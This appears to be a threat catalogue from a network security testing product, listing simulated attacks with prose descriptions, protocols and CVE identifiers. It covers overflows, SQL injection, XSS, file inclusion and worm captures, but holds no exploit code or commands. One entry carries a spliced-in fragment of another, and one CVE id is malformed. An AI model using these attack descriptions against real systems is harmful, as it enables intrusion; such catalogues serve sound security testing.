Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation of a string length when processing the color-related sub elements of a Style element, and color-related attributes of description, sampleData and karaoke elements inside QuickTime TeXML files. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted TeXML file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
CVEID:	CVE-2012-0663
OSVDB:	81934
Threat File Name:	FSC20100216-08_OpenOffice_org_Microsoft_Word_File_sprmtSetBrc_Processing_Buffer_Overflow.xml
Executive Description:	OpenOffice.org Microsoft Word File sprmtSetBrc Processing Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in OpenOffice. The vulnerability is due to an error when processing sprmtSetBrc records in Microsoft Word files. A remote unauthenticated attacker could leverage this vulnerability by enticing a target user to open a malicious Microsoft Word file with a vulnerable version of the application. In a successful attack, a buffer overflow can lead to arbitrary code execution within the security context of the currently logged on user. In an unsuccessful attack, the target application could terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2009-3302
Threat Package:	Standard
Threat File Name:	TSL20160909-03_AlienVault_USM_and_OSSIM_get_directive_kdb_php_directive_id_SQL_Injection.xml
Executive Description:	AlienVault USM and OSSIM get_directive_kdb.php directive_id SQL Injection

Detailed Description:	A SQL injection vulnerability has been reported in AlienVault USM and OSSIM. The vulnerability is due to a failure to sanitize input on requests to get_directive_kdb.php. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request to the vulnerable application. Successful exploitation could result in arbitrary command execution as the root user.
Protocol Type:	HTTPS
Threat File Name:	quintessential_pls_dos_IPv6.xml
Executive Description:	Quintessential Player <= 4.50.1.82 Playlist Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a malicious pls file to cause a denial of service condition in vulnerable Quintessential Player software. Quintessential Player is a client application that typically retrieves PLS files from web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20110208-30_Microsoft_Office_Visio_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Office Visio Object Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Visio. The vulnerability is due to an error while validating objects in memory. A remote attacker can exploit this vulnerability by enticing a user to open a malicious file with an affected version of Microsoft Visio. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the target user. When code execution is not successful the affected application may terminate abnormally. Note: TELUS Security Labs team has not been able to reproduce this vulnerability during the contractual research period.
Protocol Type:	IPV6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2011-0092
Threat File Name:	TSL20131015-02_IBM_iNotes_ActiveX_Control_Integer_Overflow_IPv6.xml
Executive Description:	IBM iNotes ActiveX Control Integer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in IBM iNotes. The vulnerability is due to an integer overflow within an ActiveX control. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP, HTTPS, IPV6
CVEID:	CVE-2013-3027
OSVDB:	95993
Threat File Name:	FSC20070122-03_Apple_Mac_OS_X_iChat_AIM_URL_Format_String_Vulnerability.xml
Executive Description:	Apple Mac OS X iChat AIM URL Format String Vulnerability
Detailed Description:	There exists a format string vulnerability in the Apple iChat product. The flaw is due to improper handling of AIM URLs. This vulnerability can be exploited by persuading a victim to follow a specially-crafted AIM URL containing format string specifiers. Successful exploitation of this issue causes a denial of service condition and allows remote attackers to execute arbitrary code in the context of the application.
Protocol Type:	HTTP
CVEID:	CVE-2007-0021
Threat Package:	Standard
Threat File Name:	FSC20090731-07_Firebird_SQL_op_connect_request_Denial_of_Service.xml
Executive Description:	Firebird SQL op_connect_request Denial of Service
Detailed Description:	A denial of service vulnerability exists in Firebird SQL. The vulnerability is due to the way that Firebird SQL handles op_connect_request requests. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted op_connect_request request to a vulnerable server. A successful attack would create a denial of service condition on the Firebird SQL service.
Protocol Type:	Interbase
CVEID:	CVE-2009-2620
Threat Package:	Standard
Threat File Name:	sipunterminatedquote.xml
Executive Description:	SIPPING: Unterminated Quote in Display Name
Detailed Description:	This threat sends out a SIP INVITE message with a display name containing opening but no closing quotes. This is not legal but an implementation may try to compensate for it. Because it is unusual, this may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	flashActionDefineFunction_IPv6.xml
Executive Description:	Flash Buffer Overflow Attempt (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the flash media player. This can be used to gain remote access to a machine. Flash is typically embedded in webpages which operate over port 80. This threat is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3591
OSVDB:	20867
Threat Package:	Standard
Threat File Name:	TSL20160630-15_WECON_LeviStudio_BaseSet_BgOnOffBitAddr_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	WECON LeviStudio BaseSet BgOnOffBitAddr Stack Buffer Overflow (IPv6)
Detailed Description:	A stack buffer overflow vulnerability has been reported in WECON LeviStudio. The vulnerability is due to improper parsing of XML BaseSet BgOnOffBitAddr attribute of LeviStudio project files. A remote attacker could exploit this vulnerability by enticing a user to open a crafted project. Successful exploitation could allow the attacker to execute arbitrary code under the security context of the user process.
Protocol Type:	HTTP, IPV6
Threat File Name:	netgear_xss2_IPv6.xml
Executive Description:	Netgear URL Logging XSS (IPv6 Version)
Detailed Description:	This threat sends a cross-site scripting attempt to a third party webpage. The netgear URL filter logging process then places this output unfiltered in its log webpage. This allows an attacker to execute arbitrary javascript with permissions of the administrator viewing the page. This threat targets a webserver listening on port 80. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0291
OSVDB:	13012
Threat Package:	Standard
Threat File Name:	TSL20130326-05_Novell_ZENworks_Configuration_Management_File_Upload_IPv6.xml
Executive Description:	Novell ZENworks Configuration Management File Upload(IPv6 Version)
Detailed Description:	A file upload vulnerability exists in Novel ZENworks Configuration Management. This vulnerability is caused by insufficient authentication and a directory traversal in the Control Center module that allows arbitrary file uploads. Remote, unauthenticated attackers could exploit this vulnerability by sending crafted packets to the affected service. Successful exploitation would allow the attacker to execute arbitrary code on the machine running the vulnerable service with administrative privileges. component of Novell GroupWise Client for Windows. This function can be called using an ActiveX control. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	IPv6,HTTPS
CVEID:	CVE-2013-1080
OSVDB:	91627
Threat File Name:	snmpTerm.xml
Executive Description:	SNMP Terminal Escape Code Community String
Detailed Description:	This threat sends an SNMP community string containing terminal escape codes that will change the title of certain terminal applications. Terminal escape codes can be used to fool a user into executing commands. This threat targets an SNMP daemon which typically listens on port 161.
Protocol Type:	SNMP
Threat Package:	Standard
Threat File Name:	dlink_snmp_pass.xml
Executive Description:	D-Link Wireless Router Password Disclosure
Detailed Description:	This threat sends an SNMP request that causes certain versions of D-Link's wireless routers to disclose the password for the device. This can be used by an attacker to redirect traffic, or deny service to other users.
Protocol Type:	SNMP
CVEID:	CVE-2001-1220
OSVDB:	9403
Threat Package:	Standard
Threat File Name:	FSC20090715-05_ISC_DHCP_dhclient_script_write_params_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	ISC DHCP dhclient script_write_params Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in ISC DHCP dhclient. The vulnerability is due to a boundary error in parsing specially crafted subnet-mask option in DHCP responses sent from a server. Attackers in a network can exploit this vulnerability by running a malicious DHCP server, or by injecting malicious content in responses sent from an authentic server. A successful attack targeting this vulnerability could allow remote attackers to inject and execute arbitrary code on the vulnerable system within the security context of the 'root' user. In an attack case where code execution is not successful, the affected application will terminate abnormally. (IPv6 Version)
Protocol Type:	DHCP/IPv6
CVEID:	CVE-2009-0692
Threat Package:	Standard
Threat File Name:	TSL20121025-02_Samsung_Kies_Arbitrary_Command_Execution_IPv6.xml
Executive Description:	Samsung Kies Arbitrary Command Execution(IPv6 Version)
Detailed Description:	An arbitrary command execution vulnerability exists in Samsung Kies. The vulnerability is due to insufficient validation of incoming requests. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to access a malicious web site. This can result in arbitrary command execution in the context of the affected user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-3807
OSVDB:	86501
Threat File Name:	FSC20090728-08_Microsoft_Active_Template_Library_Uninitialized_Object_Code_Execution_IPv6.xml
Executive Description:	Microsoft Active Template Library Uninitialized Object Code Execution (IPv6 Version)
Detailed Description:	There is a remote code execution vulnerability in Microsoft Active Template Library (ATL). The vulnerability is due to an error in the way certain ATL headers are handled. In certain cases it is possible to force VariantClear to be called on a VARIANT that has not been correctly initialized. Remote attackers can exploit this issue by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user; additionally, the behaviour of the target machine is dependent on the intention of the malicious code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-0901
Threat Package:	Standard
Threat File Name:	FSC20080212-18_Microsoft_Office_Publisher_Invalid_Memory_Reference.xml
Executive Description:	Microsoft Office Publisher Invalid Memory Reference
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Office Publisher. The vulnerability is due to improper handling of user-supplied data without sufficient validation. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted PUB file, potentially causing memory corruption and arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in code execution. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Publisher will terminate, resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0102

Threat Package:	Standard
Threat File Name:	FSC20071029-03_Oracle_Database_SYS_LT_FINDRICSET_SQL_Injectioni_IPv6.xml
Executive Description:	Oracle Database SYS.LT.FINDRICSET SQL Injection (IPv6 Version)
Detailed Description:	There exists a SQL injection vulnerability in Oracle Database. The vulnerability is due to insufficient sanitization of the input parameter in the "SYS.LT.FINDRICSET" function. A remote authenticated attacker could exploit this vulnerability by embedding malicious SQL code as part of the vulnerable parameter. Successful exploitation would allow "PUBLIC"users to gain "SYS" level privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-5511
Threat Package:	Standard
Threat File Name:	provideo_activex_bof.xml
Executive Description:	Provideo Camimage ISSCamControl.DLL ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Provideo Camimage ActiveX application, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	barcodewiz2_activex_bof.xml
Executive Description:	BarCodeWiz ActiveX Control 2.0 (BarcodeWiz.dll) Remote Buffer Overflow Exploit
Detailed Description:	This threat downloads a malicious script which exploits a buffer overflow in BarCodeWiz's activex component through the "Verify" argument. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	vlc_fmt_intel_IPv6.xml
Executive Description:	VLC Media Player UDP URL Handler Format String Vulnerability (Intel) (IPv6 Version)
Detailed Description:	This threat simulates a client requesting a media file, and the server replying with a maliciously constructed m3u file. This file will trigger a format string vulnerability in the UDP URL handler in the popular VLC media player. The transport of the m3u file is done via HTTP, which generally runs on port 80. The payload of this threat is for Intel based Macs. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-0017
Threat Package:	Standard
Threat File Name:	TSL20170428-05_Zabbix_Server_Active_Proxy_Trapper_Command_Injection.xml
Executive Description:	Zabbix Server Active Proxy Trapper Command Injection
Detailed Description:	A command injection vulnerability has been reported in Zabbix. The vulnerability is due to improper validation of user supplied input within the Trapper functionality of the server when the Auto-discovery or Auto-registration features are enabled. A remote, unauthenticated attacker could exploit this vulnerability by sending a special sequence of maliciously crafted requests to a vulnerable Zabbix proxy server. Successful exploitation of this vulnerability could lead to arbitrary command execution in the context of the Zabbix process.
Protocol Type:	Zabbix Trapper
CVEID:	CVE-2017-2824
Threat File Name:	TSL20120508-16_Microsoft_Excel_MergeCells_Record_Parsing_Memory_Corruption_IPV6.xml
Executive Description:	Microsoft Excel MergeCells Record Parsing Memory Corruption(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to a boundary error when parsing MergeCells Excel records, which could lead to memory corruption. A remote, unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0185
OSVDB:	Not been assigned
Threat File Name:	fuzz-HTTP_AppendformatnToTRACE.xml
Executive Description:	Fuzz HTTP TRACE appended by %n
Detailed Description:	Fuzzes the Method field appending by %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20100810-09_Microsoft_Internet_Explorer_Uninitialized_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error in handling of a uninitialized or deleted object. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-2559
Threat Package:	Standard
Threat File Name:	TSL20130409-26_HP_Intelligent_Management_Center_UAM_acmServletDownload_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center UAM acmServletDownload Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the UAM add-in module of HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the acmServletDownload servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5211
OSVDB:	91036
Threat File Name:	TSL20120622-02_Apple_QuickTime_TeXML_Transform_Attribute_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime TeXML Transform Attribute Parsing Buffer Overflow(IPv6)
Detailed Description:	A stack buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to insufficient validation of a string length in QuickTime3GPP.gtx when processing the transform attribute inside QuickTime TeXML files. A remote attacker can exploit this vulnerability by enticing a user to download and process a specially crafted TeXML file with the vulnerable software. This can lead to code execution in the context of the vulnerable application.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0663
OSVDB:	81934
Threat File Name:	ned_dir.xml
Executive Description:	Nokia Electronic Documentation Directory Listing
Detailed Description:	This threat lists the files contained in a directory on a Nokia Electronic Documentation server. It does this through a crafted HTTP request specifying . as the file to load.
Protocol Type:	HTTP
CVEID:	CVE-2003-0802
OSVDB:	3484
Threat Package:	Standard
Threat File Name:	edraw_office_activex_bof.xml
Executive Description:	EDraw Office Viewer Component 5.2 "HttpDownloadFileToTempDir()" Remote Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the "HttpDownloadFileToTempDir()" ActiveX Control in EDraw Office Viewer, resulting in the execution arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20080204-06_Yahoo_Music_Jukebox_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Yahoo! Music Jukebox ActiveX Control Buffer Overflow(IPv6 Version)
Detailed Description:	Multiple buffer overflow vulnerabilities exist in Yahoo! Music Jukebox. These vulnerabilities are caused due to boundary errors within the Yahoo! Music Jukebox ActiveX Control. A remote attack can exploit these vulnerabilities by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2008-0625
Threat File Name:	ntpReplyFlood.xml
Executive Description:	NTP Reply Flood
Detailed Description:	This threat creates a large number of NTP replies from random addresses. This is designed to confuse and alter the time of the target system. Also it can consume resources on the target machine, creating a denial of service condition. NTP is transported over UDP from and to ports 123.
Protocol Type:	NTP
Threat Package:	Standard
Threat File Name:	ms_office_2007_bof.xml
Executive Description:	Microsoft Word 2007 WWLib.DLL Unspecified Document File Buffer Overflow Vulnerability
Detailed Description:	This threat exploits a flaw in the wwlib.dll used by Office 2007 (Word) by delivering a malicious .doc file. Microsoft Office Word 2007 is a client application and the .doc file is delivered via emulated web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	lupper18.xml
Executive Description:	Lupper Worm 18
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20130318-10_Siemens_SIMATIC_WinCC_RegReader_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Siemens SIMATIC WinCC RegReader ActiveX Control Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in Siemens SIMATIC WinCC. The vulnerability is due to a boundary error in the RegReader ActiveX control. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0674
OSVDB:	91311
Threat File Name:	TSL20131211-01_Microsoft_Internet_Explorer_CVE-2013-5049_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-5049 Memory Corruption(IPv6 Version)

Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to errors while handling certain objects when processing HTML and script code. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to access a maliciously crafted website. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-5049
OSVDB:	100754
Threat File Name:	FSC20080408-16_Microsoft_Visio_DXF_File_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Visio DXF File Handling Code Execution (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in the way Microsoft Visio handles specially-crafted DXF files. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted DXF file. Successful exploitation would result in injection and execution of arbitrary code in the context of currently logged-in user. Attempts that fail to execute injected code will likely result in denial of service conditions. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-1090
Threat Package:	Standard
Threat File Name:	phpb2_modificat_rfi_IPv6.xml
Executive Description:	phpBB2 MODificat (phpbb_root_path) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Phpbb2 MODificat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20101012-50_Microsoft_Internet_Explorer_CStyleSheetRule_Array_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CStyleSheetRule Array Memory (IPv6 VERSION)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error when handling dynamic rule changes in the page stylesheets. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-3328
Threat File Name:	jommlapack_rfi_IPv6.xml
Executive Description:	Jommla Component JoomlaPack 1.0.4a2 RE (CAltInstaller.php) Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Jommla is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20110822-05_RealNetworks_RealPlayer_QCP_Parsing_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer QCP Parsing Buffer Overflow
Detailed Description:	A heap buffer overflow exists in RealNetworks RealPlayer. The vulnerability is due to insufficient bounds checking while copying user-supplied data into a fixed-length buffer. This can lead to a buffer overflow and subsequent memory corruption. A remote attacker can exploit this vulnerability by enticing a user to download and process a malicious QCP file with a vulnerable version of the application. A successful attack would result in the execution of attacker-controlled code in the security context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-2950
Threat File Name:	TSL20151023-03_Network_Time_Protocol_Daemon_decodenetnum_Assertion_Failure_IPv6.xml
Executive Description:	Network Time Protocol Daemon decodenetnum Assertion Failure IPv6 version.
Detailed Description:	A denial-of-service vulnerability exists in the Network Time Protocol daemon (NTPD). The vulnerability is due to an assertion failure that can occur in decodenetnum() when NTPD receives certain crafted packets. A remote, authenticated attacker can exploit this vulnerability by sending a crafted NTP request to the vulnerable service. Successful exploitation can cause the NTP process to terminate with an assertion failure, leading to a denial-of-service condition. Tester should set variable \$destPort to 123 before test.
Protocol Type:	NTP.IPV6
CVEID:	CVE-2015-7855
Threat File Name:	fusebox_xss_IPv6.xml
Executive Description:	Fusebox Cross Site Scripting Attack (IPv6 Version)
Detailed Description:	This threat recreates a cross site scripting condition in ColdFusion Fusebox. This can allow an attacker to steal session and cookie information. Fusebox is a web application, and will typically listen on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2480
OSVDB:	18520
Threat Package:	Standard
Threat File Name:	ftp_buffer_overflow_257_IPv6.xml
Executive Description:	FTP Buffer Overflow [257] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [257 bytes] against an FTP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	coderedII_IPv6.xml
Executive Description:	Code Red II Worm (IPv6 Version)

Detailed Description:	This threat is an exact packet capture of the Code Red II Worm. The vulnerability is described in MS01-033. It will infect vulnerable hosts and start spreading. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2001-0500
OSVDB:	568
Threat Package:	Standard
Threat File Name:	fenice_bof_IPv6.xml
Executive Description:	Fenice Remote Buffer Overflow and Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat delivers a standard buffer overflow exploit via a proprietary destination port 554. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20071109-12_AOL_Radio_AmpX_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	AOL Radio AmpX ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists multiple buffer overflow vulnerabilities in AOL Radio. These vulnerabilities are caused due to boundary errors within the AOL Radio AmpX ActiveX Control. A remote attack can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5755
Threat Package:	Standard
Threat File Name:	FSC20090305-03_Mozilla_Firefox_SVG_Data_Processing_Memory_Corruption.xml
Executive Description:	Mozilla Firefox SVG Data Processing Memory Corruption
Detailed Description:	A vulnerability exists in Mozilla Firefox. The vulnerability is due to insufficient validation when handling SVG data. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. In a successful attack that arbitrary code being injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document.
Protocol Type:	HTTP
CVEID:	CVE-2009-0771
Threat Package:	Standard
Threat File Name:	powerdvd_clavsetting_activex_overwrite_IPv6.xml
Executive Description:	CyberLink PowerDVD CLAVSetting Module (CLAVSetting.DLL 1.00.1829) arbitrary remote rewrite vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the CyberLink PowerDVD CLAVSetting.DLL ActiveX Control, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5219
Threat Package:	Standard
Threat File Name:	TSL20170314-02_VIPA_Controls_WinPLC7_recv_Stack-based_Buffer_Overflow_IPv6.xml
Executive Description:	VIPA Controls WinPLC7 recv Stack-based Buffer Overflow (IPv6 Version)
Detailed Description:	A stack-based buffer overflow exists in VIPA Controls WinPLC7. The vulnerability is due to improper validation of a length field within received TCP packet data before copying the contents to a stack-based buffer. A remote attacker could exploit this vulnerability by sending maliciously crafted TPKT payloads via TCP to the vulnerable application. Successful exploitation could result in denial of service conditions or, in the worst case, arbitrary code execution in the context of the user running the application.
Protocol Type:	s7,IPv6
CVEID:	CVE-2017-5177
Threat File Name:	TSL20120301-10_IBM_Tivoli_Provisioning_Manager_Express_Asset_getMimeType_SQL_Injection_IPv6.xml
Executive Description:	IBM Tivoli Provisioning Manager Express Asset.getMimeType SQL Injection(IPV6 Version)
Detailed Description:	An SQL injection vulnerability exists in IBM Tivoli Provisioning Manager Express. The vulnerability is due to insufficient input sanitation in the Asset.getMimeType function when processing HTTP requests sent to the getAttachment servlet. A remote attacker can exploit this SQL injection vulnerability to read data from the database including the SHA1 encrypted admin password, and then upload file to the server and execute code under the context of the SYSTEM user.
Protocol Type:	IPV6,HTTP
CVEID:	CVE-2012-0199
Threat File Name:	phpbb2_modificat_rfi.xml
Executive Description:	phpBB2 MODificat (phpbb_root_path) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Phpbb2 MODificat is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120508-03_Microsoft_Office_RTF_Mismatch_Memory_Corruption_IPV6.xml
Executive Description:	Microsoft Office RTF Mismatch Memory Corruption(IPV6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to an error when parsing Rich Text Format (RTF) files, which can lead to memory corruption. This vulnerability can be exploited by enticing a user to open a specially crafted RTF file with Microsoft Office. Successful exploitation could result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-0183
OSVDB:	Not been assigned
Threat File Name:	solphone_IPv6.xml
Executive Description:	H323 Malformed Packet (IPv6 Version)
Detailed Description:	This threat crashes Solphone voice over IP equipment. (IPv6 Version)

Protocol Type:	H323/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130719-01_Apache_Struts_OGNL_Expressions_DefaultActionMapper_Code_Execution_IPv6.xml
Executive Description:	Apache Struts OGNL Expressions DefaultActionMapper Code Execution [IPv6, Version]
Detailed Description:	A code execution vulnerability exists in Apache Struts Object-Graph Navigation Language (OGNL) expressions. The vulnerability is due to the failure of DefaultActionMapper to sanitize input following "action:", "redirect:" or "redirectAction:" expressions leading to code injection. A remote attacker could exploit this vulnerability by sending crafted HTTP requests to a server using a vulnerable version of the software. Successful exploitation will allow an attacker to execute arbitrary code on the system.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-2251
OSVDB:	95405
Threat File Name:	lynxcgi.xml
Executive Description:	Lynx Arbitrary Script Execution Attempt
Detailed Description:	This threat uses a little used URL supported by the Lynx browser called lynxcgi. By abusing poor default configurations in popular linux distributions, this url handler can allow for the downloading and execution of arbitrary scripts. This attack typically would come from a webserver, which listens on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-CVE-2005-2929
OSVDB:	20814
Threat Package:	Standard
Threat File Name:	FSC20090210-14_Microsoft_Internet_Explorer_CSS_Processing_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CSS Processing Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer handles Cascading Style Sheets (CSS). Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2009-0076
Threat Package:	Standard
Threat File Name:	TSL20140604-01_Ericom_AccessNow_Server_Stack_Buffer_Overflow.xml
Executive Description:	Ericom AccessNow Server Stack Buffer Overflow
